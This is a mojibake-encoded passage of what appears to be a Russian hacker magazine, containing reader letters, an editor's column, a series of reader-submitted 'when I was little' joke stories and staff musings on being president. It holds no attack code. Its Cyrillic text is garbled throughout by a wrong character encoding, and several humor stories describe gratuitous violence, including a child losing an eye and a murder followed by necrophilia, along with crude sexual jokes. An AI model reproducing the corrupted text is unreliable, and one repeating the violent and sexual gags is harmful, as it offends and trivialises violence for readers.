ðåçóëüòàò è çàñëóæåííûé ãîíîðàð, ñäåëàòü íàäî íå òàê óæ è ìíîãî:

1 Óáåäèòüñÿ â òîì, ÷òî íå íàïèñàòü æåëàåìîå òû óæå íèêàê íå ìîæåøü.
Ñàìî ïèøåòñÿ, è âñå òóò.

2 Óáåäèòüñÿ â òîì, ÷òî íàïèñàííîå òîáîé ðàíüøå íèêåì íàïèñàíî íå áûëî.

3 Òàêè íàïèñàòü.

4 Ïðî÷åñòü ñàìîìó è äàòü ïî÷èòàòü òîâàðèùàì, êîòîðûå «â òåìå».

5 Ïîñëå èñïðàâëåíèÿ âñåõ ñìûñëîâûõ îøèáîê è ó÷åòà ïîæåëàíèé,
îïðåäåëèòüñÿ, â êàêóþ ðóáðèêó ][ ïðåäíàçíà÷àåòñÿ ãîòîâûé òåêñò è
çàðÿäèòü åãî îêîí÷àòåëüíûé âàðèàíò ñíà÷àëà â ñïåëë-÷åêåð, à ïîòîì ñðàçó
æå îòïðàâèòü ýëåêòðè÷åñêîé ïî÷òîé â ðåäàêöèþ.

6 Æäàòü ñëàâû è âåñåëûõ çîëîòûõ áàáëîíãîâ.
P.S. Ïëàí ïðîâåðåííûé, ðàáîòàåò. ß ñàì òàê êîãäà-òî íà÷èíàë :).

| ÑÀÌÎÅ ÒÎËÊÎÂÎÅ ÏÈÑÜÌÎ ÍÎÌÅÐÀ |
From:  Ýäèê [edik-x@rambler.ru]
Subj: Ïðîñüáà
Èçâåíèòå çà íå ñêðîìíûé âîïðîñ, íî âàø æóðíàë ïðèøåë êî ìíå ñî
ñëîìàííûì äèñêîì. Íå áóäåòå ëè âû òàê ëþáåçíû âûñëàòü DVD äèñê ïî
íîâîé. Áóäó î÷åíü áëàãîäàðåí. C óâàæåíèåì Bones.

RE: Çäðàâñòâóéòå, äîðîãîé Ýäóàðä. Áîëüøîå ñïàñèáî çà Âàøå ñîîáùåíèå, â
ñâÿçè ñ íàêîïèâøèìèñÿ ó Âàñ âîïðîñàìè, õîòåë áû âíåñòè â íèõ ÿñíîñòü.
Ñëîìàííûé äèñê, ïðèëàãàþùèéñÿ ê âûøåóêàçàííîìó æóðíàëó, � åñòü ïðîäóêò
òðóäîâîé äåÿòåëüíîñòè òàê íàçûâàåìûõ õàêåðîâ, äíÿìè è íî÷àìè ëîìàþùèõ
âñå ïîäðÿä, â òîì ÷èñëå è äèñêè. ß ëè÷íî ÷èòàë â îäíîì æóðíàëå, ÷òî ñëîìàòü
DVD-äèñê íå î÷åíü-òî è ïðîñòî, íî íåêîòîðûì âñå æå óäàåòñÿ. À ïîòîìó (íó è
÷òîáû äâà ðàçà íå âñòàâàòü), ïðåäëàãàþ îáúåäèíèòü è äèñê (íå ñëîìàííûé,
ëîìàòü áóäåøü ñàì), è çàñëóæåííûé ïðèç îò íàñ âñåõ. Ïðèç çàïóñòèòñÿ è òàê,
áåçî âñÿêèõ âçëîìîâ. Íå ïåðåóñåðäñòâóé :). Äà, íå çàáóäü îòïèñàòü òî÷íåå,
êàêîé òàì ó òåáÿ äèñê-òî áûë, à òî ïðèøëåì êàêîé ïîïàëî :) 

E-mail-unit
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ÐÀÇÌÛØËßË ß ÒÓÒ Â ÐÅÄÊÈÅ ×ÀÑÛ
ÄÎÑÓÃÀ Î ÒÎÌ, ÊÓÄÀ ÊÀÒÈÒÑß ÍÀØ
ÌÈÐ. ÃËÎÁÀËÜÍÎ ÐÀÇÌÛØËßË,
ÎÏÅÐÈÐÓß ÏËÀÍÅÒÀÐÍÛÌÈ ÌÀÑØ-
ÒÀÁÀÌÈ. ÏÐÈØÅË Ê ÑÎÂÅÐØÅÍÍÎ
ÍÅÓÒÅØÈÒÅËÜÍÛÌ ÄËß ÂÑÅÃÎ
ÏÐÎÃÐÅÑÑÈÂÍÎÃÎ ×ÅËÎÂÅ×ÅÑÒÂÀ
ÂÛÂÎÄÀÌ: ÖÅÍÛ ÍÀ ÂÑÅ ÏÎÄÐßÄ
ÐÀÑÒÓÒ, ÊÎÌÏ ÃÐÅÅÒÑß, ÀÌÅÐÈ-
ÊÀÍÖÛ ÏËÀÍÈÐÓÞÒ ÇÀÏÓÑÒÈÒÜ ÍÀ
ÎÊÎËÎÇÅÌÍÓÞ ÎÐÁÈÒÓ ÐÅÊËÀÌ-

ÍÛÅ ÙÈÒÛ, ×ÒÎÁÛ ÈÕ ÐßÄÎÌ Ñ ËÓ-
ÍÎÉ ÐÀÇÌÅÙÀÒÜ, ÈÇ ÒÅËÅÂÈÇÎÐÀ
ÃÀÄßÒ ÍÅÏÎÑÐÅÄÑÒÂÅÍÍÎ Â ÌÎÇÃ
ÁÎÃÎÌÅÐÇÊÈÌÈ «ÏÅÑÒÍßÌÈ», ÍÀ
ÓËÈÖÅ ÆÀÐÀ È ÏÓÕ, À ÃËÀÂÍÎÅ � ß
ÓÆÅ ÑÒÎ ËÅÒ ÍÅ ÏÎËÓ×ÀË ÎÁÛ×-
ÍÛÕ ÒÀÊÈÕ, ÁÓÌÀÆÍÛÕ, ÀÍÀËÎÃÎ-
ÂÛÕ, ×ÒÎ ÍÀÇÛÂÀÅÒÑß, ÏÈÑÅÌ. À
ÂÅÄÜ Î×ÅÍÜ ÕÎ×ÅÒÑß. ÁÐÀÒÖÛ,
ÂÎÉÄÈÒÅ Â ÏÎËÎÆÅÍÈÅ, ÏÎÐÀ-
ÄÓÉÒÅ ÑÒÀÐÈÊÀ ÕÎÒÜ ÎÒÊÐÛÒÎ×-

ÊÎÉ ÊÀÊÎÉ, ×ÒÎÁÛ ÏÎ×ÅÐÊ ÍÀ ÍÅÉ
ÁÛË ×ÅËÎÂÅ×ÈÉ È ÂÈÄÛ Ñ ÄÐÓÃÎÉ
ÑÒÎÐÎÍÛ ÊÐÀÑÈÂÛÅ. ÂÅÊ ÂÀÌ
ÝÒÎÃÎ ÍÅ ÇÀÁÓÄÓ, ×ÅÑÒÍÎ! ÍÓ À
ÏÎÊÀ ÏÐÈÌÅÌÑß ÇÀ ×ÒÅÍÈÅ ÂÀ-
ØÈÕ ÁÎÄÐÛÕ ÝËÅÊÒÐÎÍÍÛÕ ÏÎÑ-
ËÀÍÈÉ. ÑÅÉ×ÀÑ ß ÂÎÄÐÓÆÓ ÍÀ
ÁÀØÍÞ ÏÐÎËÎÆÅÍÍÓÞ ÔÎËÜÃÎÉ
ØÀÏ×ÎÍÊÓ È, ÏÎÊÐßÕÒÛÂÀß, ÎÒÊ-
ÐÎÞ ÏÅÐÂÎÅ ÏÈÑÜÌÎ, ÏÐÈØÅÄ-
ØÅÅ ÝËÅÊÒÐÈ×ÅÑÊÎÉ ÏÎ×ÒÎÉ...

Ñ óâàæåíèåì è íàèëó÷øèìè ïîæåëàíèÿìè, E-MAILÑOMMENTER
Centner (centner@real.xakep.ru)
www.centner.tk
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Îäíàæäû ÿ áûë ìàëåíüêèì. È ÷àñòî ïîëó÷àë ïî óøàì. Ïåðâûé ðàç ìåíÿ
æåñòîêî ïîáèëè â ëàãåðå. Â ìîåì îòðÿäå áûë çäîðîâûé òîëñòÿê-êðåòèí.
Êàê-òî ðàç îí íà÷àë âñïîìèíàòü ñâîå ïðîøëîå:
� Ýõ, ïîìíþ, êàê îäíà äåâ÷îíêà ó÷èëà ìåíÿ öåëîâàòüñÿ�
ß àæ ïîïåðõíóëñÿ:
� Ãû, äà òû ëîñü æå! Õîòåë áû ÿ ïîñìîòðåòü, ÷òî çà äóðà òàêóþ æèðíóþ
ñêîòèíó ñìîãëà ïîöåëîâàòü.
ß äàæå íå óñïåë ïîäóìàòü î òîì, ÷òîáû áåæàòü.
Âòîðîé ðàç ìåíÿ ïîáèëè îïÿòü æå â ýòîì ëàãåðå è îïÿòü æå ýòîò òîëñòÿê. Îí,
êñòàòè, ñêèíîì áûë. È ñíîâà ýòîò ïðèäóðîê âûâåë ìåíÿ èç ñåáÿ. ß, íå èìåÿ
â âèäó íè÷åãî ïëîõîãî, íàçâàë åãî «åâðååì». Ó ñêèíîâ, îêàçûâàåòñÿ, ïî
ýòîìó ïîâîäó êîìïëåêñû íà ëèöî, íî íà ýòîò ðàç ÿ äàæå ïîïûòàëñÿ óáåæàòü.

***
Îäíàæäû ÿ áûë ìàëåíüêèì. Ó÷èëñÿ óæå â øêîëå. È áûë êàê-òî ðàç ó íàñ óðîê
ôèçêóëüòóðû. Âñå äåòè, êàê äåòè, à îäèí óïûðåíûø ñîâñåì ìîë÷àëèâûé ñòîèò.
� ×åãî òû òóò îäèí ãðóñòèøü, äðóã? � ñïðîñèë ÿ. Îòâåòîì ìíå áûëà
ëèøü òèøèíà.
Íó è ðåøèë ÿ åãî ðàçâåñåëèòü. Ñíîâà ãîâîðþ åìó:
� Âîò ñòîé òàê è íå äâèãàéñÿ, ñåé÷àñ ïðèêîë ïîêàæó.
Çàòåì ïîäíèìàþ ñ çåìëè êàìåíü è ïðèöåëèâàþñü ÷óòü âûøå ìàêóøêè. Â
îáùåì, íå ïîëó÷èëîñü ìíå çàïóñòèòü êàìåíü òàê, ÷òîáû îí ïðîëåòåë â
ìèëëèìåòðå îò ãîëîâû. Íî âñå ðàâíî èñòîðèÿ çàêîí÷èëàñü õîðîøî �
«ñêîðàÿ ïîìîùü» óâåçëà ïàðíÿ ñ âûòåêøèì ëåâûì ãëàçîì.

***
Îäíàæäû ÿ áûë ìàëåíüêèì. È èãðàë ÿ âî äâîðå ñ ðåáÿòàìè â áàñêåòáîë. Êîãäà
âî âðåìÿ èãðû êòî-íèáóäü òîëêàëñÿ, ýòè ÷ìîøíèêè êðè÷àëè: «Ôîë! Ôîë!

Ñâîáîäíûé óäàð!». Åñëè æå ìåíÿ êòî-íèáóäü ïèíàë, ÿ ëèøü òèõî áîðìîòàë:
«Íó âñå, ïàäëà! Ñåé÷àñ, òîëüêî åùå ðàç âñòðåòèìñÿ!».
Äà, ìíîãî òîãäà ðåáÿò â áîëüíèöó ïîëîæèëè. Ìû èì ïå÷åíüå è ôðóêòû íîñèëè.

***
Îäíàæäû ÿ áûë ìàëåíüêèì. Æèë ÿ, ñòàëî áûòü, â äåðåâíå ó áàáóøêè. À
äåðåâíÿ, íàäî ñêàçàòü, ÷òî íàäî: äîìà êèðïè÷íûå, òåëåâèäåíèÿ ìåñòíûå. È
âîò êàê-òî ÿ ñîâåðøåííî ñëó÷àéíî îêàçàëñÿ â öåíòðå òåëåñúåìêè. Íà ñàìîì
äåëå, ÿ ñèäåë íà çàáîðå è äóìàë î ñâîåì. À âñå âíèìàíèå çåâàê áûëî
íàïðàâëåííî íà íåêîå êóëüòóðíîå çäàíèå.
Íî ÿ òàê ñèëüíî äóìàë íà ýòîì çàáîðå, ÷òî àæ äîëáàíóëñÿ îá çåìëþ.
Âñòàâ, è ãðÿçíî âûðóãàâøèñü, ÿ ïîêèíóë ñèå çëà÷íîå ìåñòî. Âå÷åðîì
óñåëèñü âñåé ñåìüåé ïåðåä òåëåâèçîðîì: «...ñåãîäíÿ â òàêîì-òî çäàíèè
áûëî òî-òî è òî-òî...» Â êîíöå êðóïíûì êàäðîì ïîêàçûâàþò ìåíÿ. Çàòåì
ïàäåíèå. «Àé, òâîþ ìàòü, ïîäîíêè, ÷òîá âàñ àïèëüñåö! Îïåðíûé åíîò!», �
äîíåñëîñü èç êàäðà. Ðåïîðòàæ îáîðâàëñÿ, à âåäóùèé íîâîñòåé
ïîêðàñíåë. Âîò ñìåõó-òî áûëî.

***
Îäíàæäû ÿ áûë ìàëåíüêèì. È ðåøèë ÿ äåíåã çàðàáîòàòü. Ïîäõîæó ê áðàòó
è ïðåäëàãàþ ïîñïîðèòü íà 1 ìëí äîëëàðîâ, ÷òî ó ìåíÿ ïðè ñåáå íåò äåíåã.
Áàðàí ïðîâåðèë ìîè êàðìàíû è ñîãëàñèëñÿ. ß ðàäîñòíûé äîñòàë èç íîñêîâ
è òðóñîâ êóïþðû è ìåëî÷ü. 
Ìèëëèîí îí ïî÷åìó-òî ñðàçó îòäàòü íå ñìîã, íî ïîîáåùàë, ÷òî ñêîðî
îáÿçàòåëüíî âåðíåò âñå äî öåíòà. Ñàìî ñîáîé, ÿ ýòîãî õëûùà íà ïðîöåíòû
ïîñòàâèë, ÷òîáû íå ðàññëàáëÿëñÿ.
Â äàííûé ìîìåíò èùó âûáèâàë äîëãîâ, èáî íå òîðîïèòñÿ ïîäëåö
ìèëëèîíåðîì ñòàíîâèòüñÿ.

HUMOR-unit
ÎÄÍÀÆÄÛ ß ÁÛË ÌÀËÅÍÜÊÈÌ. È ß ÏÎÑÒÎßÍÍÎ ÇÀ-
ÍÈÌÀËÑß ÝÒÈÌ Â ÁÀÑÑÅÉÍÅ. ÁÛÂÀËÎ, ÑÎÁÅÐÅÒ
ÒÐÅÍÅÐ ÂÑÅÕ Â ÎÄÍÎÌ ÊÎÍÖÅ ÁÀÑÑÅÉÍÀ, À ß ÏËÛ-
ÂÓ Â ÄÐÓÃÎÉ. È, ÎÑÒÀÂÀßÑÜ ÍÀÅÄÈÍÅ Ñ ÑÎÁÎÉ, ÓÁ-
ËÀÆÀË ÑÅÁß ÐÓÊÎÉ. ÍÎ ÎÄÍÀÆÄÛ ÌÅÍß ÏÐÎÏÀËÈ-
ËÈ. ÇÀ ÒÓÌÁÎÉ, ÎÒÊÓÄÀ ÏÐÛÃÀÞÒ, ÑÏÐßÒÀËÀÑÜ ÄÅ-
ÂÎ×ÊÀ. È ÎÍÀ ÑÊÀÇÀËÀ, ×ÒÎ ÅÑËÈ ß ÍÅ ÏÅÐÅÑÒÀÍÓ
ÝÒÎ ÄÅËÀÒÜ, ÒÎ ÎÍÀ ÂÑÅÌ ÐÀÑÑÊÀÆÅÒ. Ñ ÒÅÕ ÏÎÐ
ß ÏÅÐÅÑÒÀË ÙÓÏÀÒÜ ÑÂÎÈ ÑÎÑÊÈ

SUPERHUMER
black_ninjaka 
(black_ninjaka@mail.ru)
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***
Îäíàæäû ÿ áûë ìàëåíüêèì. Ïîçíàêîìèâøèñü ïîáëèæå ñ ýòèì æåñòîêèì
ìèðîì, ìíå, åñòåñòâåííî, ïðèøëîñü íàïèñàòü òåîðèþ «Íåäîáçäåíèÿ è
ïåðåáçäåíèÿ». Âîò òû áðîñàåøü ìÿ÷èê â êîëüöî. Òû ëèáî íåäîáçäèøü, ëèáî
òàê ïåðåáçäèøü, ÷òî ëó÷øå áû âîîáùå íå áçäåë. Èëè, íàïðèìåð, äðàêà. Òóò
òû ëèáî çàáçäèøü ñîïåðíèêà äî ñìåðòè, ëèáî ñàì ïîæàëååøü î ñâîåì
íåäîáçäåíèè. Òà æå ñèòóàöèÿ ñ äåâóøêàìè, âûïèâêîé è ïðî÷èì.
Åäèíñòâåííàÿ ïðîáëåìà ñ ïðÿìûì ñìûñëîì ñëîâà «áçäåíèå». Íó, âïðî÷åì,
êîìó îíî íóæíî?

***
Îäíàæäû ÿ áûë ìàëåíüêèì. Æèòü ïðèõîäèëîñü â çàìå÷àòåëüíîé êâàðòèðå.
Íó, òî åñòü. íî÷åâàòü â îäíîé êðîâàòè ñ ïîòíûìè æó÷êàìè, ïàó÷êàìè è
òàðàêàí÷èêàìè � ýòî â ïîðÿäêå âåùåé. Íó, òàê âîò. Íàñìîòðåâøèñü
ôèëüìîâ ïðî ïàóêîâ-óáèéö, ÿ ñîñòàâèë ïëàí. Çàòåì ïîøåë â áëèæàéøèé
ïîòîëî÷íûé óãîëîê è âçÿë íà ó÷åò ñàìîãî æèðíîãî ïàó÷êà. Âîîðóæèâøèñü
ìóõîáîéêîé, ÿ ïîòîïàë íà îõîòó. ×åðåç ÷àñ ó ìåíÿ óæå áûëî âåäðî ìóõ.
� Êóøàé, êóøàé ìîé ñëàäåíüêèé! � ïðèãîâàðèâàë ÿ, êèäàÿ â ïàóòèíêó ïî
ùåïîòêå ñóõèõ ìóõ.
� Ñïàñèáî, õîçÿèí! � æóÿ ñ íàáèòûì ðòîì, ìîëâèë ïàó÷îê.
ß åãî íàçûâàë Ëåíÿ. Íî ïàó÷îê äåëàë ñåðäèòûå ãëàçà è èñïðàâëÿë:
� Ëåîíèä! Òû ïîíÿë? Ëåîíèä, è íèêàê èíà÷å!
� Õîðîøî, � ñîãëàøàëñÿ ÿ, � Ëåîíèä, òû, ãëàâíîå, êóøàé...
Â îáùåì, ÷åðåç ïàðó íåäåëü â ìîåì ðàñïîðÿæåíèè áûë ñîáñòâåííûé ïàóê -
óáèéöà ðàçìåðîì ñ áîëüøóþ êîøêó. È ñòàëè ìåíÿ âñå óâàæàòü. Åùå áû!
Ïàóê-ìóòàíò � ýòî âàì íå øóáó â òðóñû çàïðàâëÿòü. Â øêîëå ìåíÿ äàæå
íàçûâàëè Ìàãèñòðîì ×ëåíèñòîíîãèõ. Èäèîòû, áëèí. Íî êàê-òî ðàç ýòîò
Ëåíÿ-ñóêèí-ñûí ìåíÿ óêóñèë. Ñ òåõ ïîð ÿ � ×åëîâåê-Ïàóê. Âû äóìàåòå, ýòî
êëàññíî? Íà ñàìîì äåëå, ýòà ôèãíÿ î÷åíü ñèëüíî ïîäåéñòâîâàëà íà ìîþ
ïñèõèêó � 10 ëåò âñåãî ëèøü, à ÿ êàê èìáåöèë ïî êðûøàì ñêà÷ó, äà ìèð
ñïàñàþ.
Ê äàííîìó ìîìåíòó ÿ âîîáùå óñòàë êàê ñêîò. Íèêàêîé ëè÷íîé æèçíè.
Îñòàåòñÿ ëèøü ìå÷òàòü î ìèðíîé æèçíè è ñ÷àñòëèâîé ñåìüå ñ äåâî÷êîé,
êîòîðàÿ íå íîñèò òðóñèêîâ.

***
Îäíàæäû ÿ áûë ìàëåíüêèì. Ïîøåë ÿ êàê-òî ñ äåâóøêîé ïîãóëÿòü. Ìû øëè
ïî íàáåðåæíîé, âçÿâøèñü çà ðó÷êè. Êðóãîì âîñõîäèë çàêàò. Ñîëíöå òîëüêî
âñòàâàëî, à ëóíà óæå ïîÿâèëàñü. Áûëè îãðîìíûå âîëíû, íî íà âîäå ñòîÿëà
ïîëíàÿ òèøü. 
� Ýé, äåòêà, � óñëûøàë ÿ ãîëîñ ñâîåé ïîäðóãè, � à ïîöåëóé ìåíÿ òóäà!
� Òóäà?! � ñäåëàë ÿ îêðóãëûå ãëàçà.
� Â øåþ, èçâðàùåíåö.
� À, íó â øåþ ìîæíî. Îãîëÿé ñâîþ øåéêó, ïèíãâèí÷èê òû ìîé, � èãðèâî
ñêàçàë ÿ.
Çàïðîêèíóâ ãîëîâó è îïóñòèâ âíèç âîðîòíèê, îíà çàñòûëà è çàêðûëà ãëàçà.
Ñíà÷àëà ÿ ïðèêîñíóëñÿ ê þíîìó æåíñêîìó ñëàäêîìó òåëüöó ãóáàìè, çàòåì

çóáàìè. Çàòåì îòêðûë ïî ìàêñèìóìó ÷åëþñòü è êàê êóñíóë! Ðàçäàëñÿ
ïðîíçèòåëüíûé êðèê. Çàòåì, óáðàâ îò íåå ãîëîâó, ÿ âûïëþíóë íà çåìëþ
çäîðîâûé êóñîê êîæè ñ ìÿñîì. È ñíîâà ïðèëüíóë óñòàìè ê åå øåéêå. Åùå
óêóñ! Åùå! Âîò óæå ãîëîâà ñîåäèíåíà ñ òåëîì îäíèì ïîçâîíêîì! Íî ÿ
îáñàñûâàþ è åãî!
×åðåç ïàðó ìèíóò ÿ ñèäåë íà àñôàëüòå, à ðÿäîì îêî÷åíåâàë òðóï.
� ×òî æ ÿ äåëàþ? Òàêîé âîçìîæíîñòè óïóñêàòü íåëüçÿ, � ñ ýòèìè ñëîâàìè
ÿ ïîêîñèëñÿ íà òåëî, âñòàë è.. õì.. æåñòîêî íàäðóãàëñÿ íàä òðóïîì.
Âîò ïîòîìó ÿ ñåé÷àñ è ðàáîòàþ â ìîðãå.
À âû ãäå ðàáîòàåòå?

***
Îäíàæäû ÿ áûë ìàëåíüêèì. Ó÷èëñÿ, êàê âñå, âî âòîðîì êëàññå. È áûëà ó
íàñ ïî ôèçêóëüòóðå íåâåðîÿòíî ìèëàÿ æåíùèíà. Ãäå-òî äâà íà äâà ìåòðà,
íå ìåíüøå òðåõñîò êèëî. È ïðîçâèùå òàêîå ñìåøíîå � «Ãðóøà». È âîò
ïðèøëè ìû, ìàëåíüêèå íåâèííûå äåòêè, â áàññåéí. À ÷òî? Ìû æå íå çíàëè,
÷òî îíà òîæå êóïàòüñÿ áóäåò, äà åùå è ñ òðàìïëèíà ïðûãàòü.
Â îáùåì, ñèãàíóëà ýòà ñåêñ-áîìáà â âîäè÷êó, äåòèøåê ìîìåíòîì âûíåñëî
íà áåðåã, áðûçãè âûáèëè ñòåêëà â çäàíèè è âñå òàêîå.
Íó, ÿ áûñòðî â áåãà îòòóäà. Äîìîé ïðèõîæó, ñåñòðè÷êà èíòåðåñóåòñÿ
äåëàìè. Ïðèøëîñü, êàê âñåãäà, ÷óòü-÷óòü ïðèâðàòü:
� Ïðèêèíü, Ãðóøà â áàññåéí êàê ñèãàíóëà, òàê ëèô÷èê àæ ñîñêî÷èë, ãûûû!
Íó êàê ñêàçàë îá ýòîì, òàê è çàáûë.
Íà ñëåäóþùèé äåíü â øêîëó ïðèõîæó, ñëûøó, êàêîé-òî ïàðåíü äðóãîìó
ãîâîðèò:
� Ïðèêèíü, â÷åðà Ãðóøà â áàññåéíå ãîëàÿ êóïàëàñü.
×åðåç ïàðó ÷àñîâ ïîäñëóøàë ðàçãîâîð äåâóøåê:
� Â÷åðà Ãðóøà ïðûãíóëà ñ òðàìïëèíà, òðóñû è ëèô÷èê ñîñêî÷èëè, íà äíå
ïëèòêà ïîòðåñêàëàñü, è îäíîãî ïàöàíà íàñìåðòü ïðèïëþùèëî.
Â êîíöå äíÿ êàêèå-òî ðåáÿòà âîîáùå ñîæãëè:
� Çàõîæó â ìóæñêóþ ðàçäåâàëêó. Âäðóã îäèí ÿùèê òðÿñåòñÿ, ÿ åãî
îòêðûâàþ, à òàì Ãðóøà ñèäèò. È äðî÷èò.

ÌÎÐÀËÜ:
Îäíàæäû îäíîãî ìàëü÷èêà â ïèñþí óêóñèëà îñà. Íà ñëåäóþùèé äåíü ýòîãî
æå ìàëü÷èêà ñíîâà óêóñèëà â ïèñþí îñà. Íî óæå äðóãàÿ. À äðóãîé ìàëü÷èê
íà ñâîåì ïèñþíå îáíàðóæèë êëåùà. ×åðåç ïàðó äíåé îí ïîáåæàë â
áîëüíèöó, íî íèêîìó íå ðàçðåøàë ïðèêàñàòüñÿ ê ñâîåìó ÷ëåíó. Òàê ïàöàí è
õîäèò äî ñèõ ïîð ñ êëåùîì íà ïèñüêå. Åùå íåñêîëüêî ðåáÿò îáíàðóæèâàëè
êëåùåé ó ñåáÿ íà ìîøîíêå. Íî áûñòðî ñîîáðàæàëè è, íåñìîòðÿ íà
ïðèÿòíûå îùóùåíèÿ, îïóñêàëè ñâîè äîñòîèíñòâà â áåíçèí. Êëåùè
çàäûõàëèñü è âûëåçàëè. À îäèí ìàëü÷èê âî âðåìÿ òàêîãî âûìàíèâàíèÿ
êëåùà êóðèë. Ïåïëà áûëî ìíîãî. À îäèí ìàëü÷èê ïåðååõàë â ÑØÀ è ïîøåë
â èõ àðìèþ. Åãî îòïðàâèëè â Ïàíàìó è òàì, êàê-òî ïåðåõîäÿ îçåðî, îí
ðåøèë ïîïèñàòü. Ïîêà îí ïèñàë, ÷åðåç ïèñüêó â íåãî çàáðàëîñü ïàðó ñîòåí
ìåëü÷àéøèõ ÷åðâÿ÷êîâ. Â ñêîðîì âðåìåíè ÷åðâÿ÷êè âûðîñëè, âîçìóæàëè,
è ðàçîðâàëè ìàëü÷èêà íà ÷àñòè. Áóäüòå áëèæå ê ïðèðîäå [X
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Nikitozz Íàâåðíîå, òóò ïîëàãàåòñÿ ñêàçàòü ÷òî-òî âðîäå «i'll legalize it», èëè «âûäàë áû Ôîðáó Ïðåçèäåíòñêóþ ñòèïåíäèþ». Íà ñàìîì

äåëå, íè÷åãî èç ýòîãî ÿ áû íå ñäåëàë. Ñàìûé ÷åñòíûé îòâåò � óøåë áû â îòñòàâêó. Ñîîáðàæåíèÿ òàêèå: áûòü ïðåçèäåíòîì ÿ íå õî÷ó, ýòî

ñëèøêîì ñëîæíî, ÿ õî÷ó æèòü íîðìàëüíîé æèçíüþ. Îäíàêî íåñêîëüêî ðåêîìåíäàöèé ñâîåìó ïðèåìíèêó ÿ áû äàë. Âîò ÷òî ìåíÿ áåñèò, òàê

ýòî òî, ÷òî âñå ëþäè äàâíûì-äàâíî ïðèâûêëè è âîñïðèíèìàþò êàê äîëæíîå, êîãäà ãîñóäàðñòâåííûå ñëóæàùèå äåðüìîâî âûïîëíÿþò ñâîþ

ðàáîòó. Âåñü íàø áþðîêðàòè÷åñêèé àïïàðàò ñãíèë åùå ïðè ðîæäåíèè, äàâíî ïîðà çàìåíèòü àðõàè÷íûé áóìàæíûé îáîðîò ñïðàâîê è

ïîñòàíîâëåíèé íà ýëåêòðîííûé ó÷åò. Ýòî ñíèçèò â ðàçû ìåëêîå âçÿòî÷íè÷åñòâî, ïîìîæåò óâîëèòü 2/3 ãîññëóæàùèõ, à îñòàëüíûì ïëàòèòü

ñíîñíûå çàðïëàòû. Åùå ýêîíîìèêó âîò íàäî ðàçâèâàòü: íàøà ñåãîäíÿøíÿÿ íåôòÿíàÿ ñòàáèëüíîñòü � øàòêàÿ øòóêà. Íàëîãîâóþ ñèñòåìó

íóæíî ìåíÿòü ãëîáàëüíî, ÷òîáû ðàçâèâàòü ìåëêîå, ïðåæäå âñåãî, ïðåäïðèíèìàòåëüñòâî. È åùå, ÿ áû áîëåå æåñòêî îòñòàèâàë âíåøíèå

èíòåðåñû íàøåé ñòðàíû. Ñåãîäíÿ íè æåñòêîñòè, íè ïîñëåäîâàòåëüíîñòè, íå íàáëþäàåòñÿ. È íàøèì, è âàøèì òóò íå ïðîéäåò. Âîîáùå, äåðüìî

êàêîå-òî ÿ íàïèñàë. Èçâèíèòå óæ, êàêîé âîïðîñ, òàêîé è îòâåò. Step ×òî áû ÿ ñäåëàë, åñëè íà äåíü ñòàë ïðåçèäåíòîì? Ñëîæíî ñêàçàòü,

íî îäíî ÿ çíàþ íàâåðíÿêà � íè÷åãî ïîëåçíîãî :). Ïîëó÷èâ îò Áóáëèêà çàäàíèå, ÿ ÷óòü áûëî íå ïðèíÿëñÿ çà ïîäãîòîâêó îñìûñëåííîãî îòâåòà

ñ ãëóáîêèì àíàëèçîì òåêóùåãî ïîëîæåíèÿ íàøåé ñòðàíû, íî ïîòîì ðåøèë, ÷òî ñ ýòîé çàäà÷åé ëó÷øå ñïðàâèòñÿ ìîëîäîé ñïåöèàëèñò-çàó÷êà

èç ýêîíîìè÷åñêîãî ÂÓÇà. Äà è âîîáùå, íàôèã îíî íàäî? Ïðè âñåì æåëàíèè çà äåíü íè÷åãî òîëêîâîãî íå ñäåëàåøü, êàðäèíàëüíî íè÷åãî íå

èçìåíèøü. Òàê ÷òî íå áóäó äàæå è ïðîáîâàòü: èäåÿ ïðîôóêàòü ýòîò äåíü âïóñòóþ êàê-òî íå ïðåëüùàåò. Ñ äåòñòâà åñòü ó ìåíÿ îäíà íåáîëüøàÿ

ìå÷òà � ïðîåõàòü â øèêàðíîé ïðàâèòåëüñòâåííîé ìàøèíå â ñîïðîâîæäåíèè êàâàëüêàäû êðóòûõ ìèëèöåéñêèõ àâòî. Ãëóïîñòü, ïðàâäà? Íî

çàòî ñåé÷àñ ïîÿâèëàñü îòëè÷íàÿ âîçìîæíîñòü ïðåòâîðèòü åå â æèçíü. Òîëüêî ïðåäñòàâü: ìîæíî ñîâåðøåííî çàêîííî íåñòèñü ñ

áàñíîñëîâíîé ñêîðîñòüþ â ãîðîäå è ïî øîññå, ïîëîâèíà äîðîã ïåðåêðûòà, à òàì ãäå íåò � âñå ìàøèíû ðàññòóïàþòñÿ ïåðåä òîáîé. Íåâàæíî,

êòî åäåò âïåðåäè: áóäü òî «êîïåéêà» èëè íîâåíüêèé ëàìáîðäæèíè. Åãî îòìåòóò â ñòîðîíó, òàê êàê. âñå îáÿçàíû óñòóïèòü. Òû ñàìàÿ âàæíàÿ

ïåðñîíà. Òû ïðåçèäåíò. HiNt Êàáû ÿ áûëà öàðèöåé... Îé, òî åñòü, åñëè áû ÿ âäðóã ñòàë ïðåçèäåíòîì ÐÔ, òî îáÿçàòåëüíî áû íàêóðèëñÿ â

õëàì. Ïðîñòî ÿ âñåãäà, êîãäà ñòàíîâëþñü ïðåçèäåíòîì, íàêóðèâàþñü â õëàì � ïðèâû÷êà, áëèí. Ìîåé ëåâîé ðóêîé ñòàë áû Áóáëèê: ïèñàë áû

çà ìåíÿ (ïîòîìó ÷òî ÿ ëåâøà) è ðàçíûå äðóãèå äåëà ïîëåçíûå ñîâåðøàë åþ, êàê òî: ïî÷åñûâàíèå çà óõîì, îòêðûâàíèå ïîë-ëèòðîâîé áóòûëêè

«Êîêà-Êîëû», çàêðûâàíèå ïîë-ëèòðîâîé áóòûëêè «Êîêà-Êîëû» è òàê äàëåå. Åùå ÿ áû ïðèíÿë çàêîí, êîòîðûé çàïðåùàåò ðàçãîâàðèâàòü ñ

13:00 äî 14:00. Òîãäà â ñòðàíå íàñòóïàëà áû ïîëíàÿ òèøèíà, à ÿ, èñïîëüçóÿ ñîâðåìåííóþ ñèñòåìó óñèëåíèÿ çâóêà, âêëþ÷àë áû ìèêðîôîí è

ãîëîñèë ïåñíè. Âñå áû ñëóøàëè è ïëàêàëè. È óìèðàëè, ïîòîìó ÷òî ó íèõ îòâàëèâàëèñü áû óøè :(. Òàê, åùå 300 áàéò... Óâàæàåìûå ÷èòàòåëè,

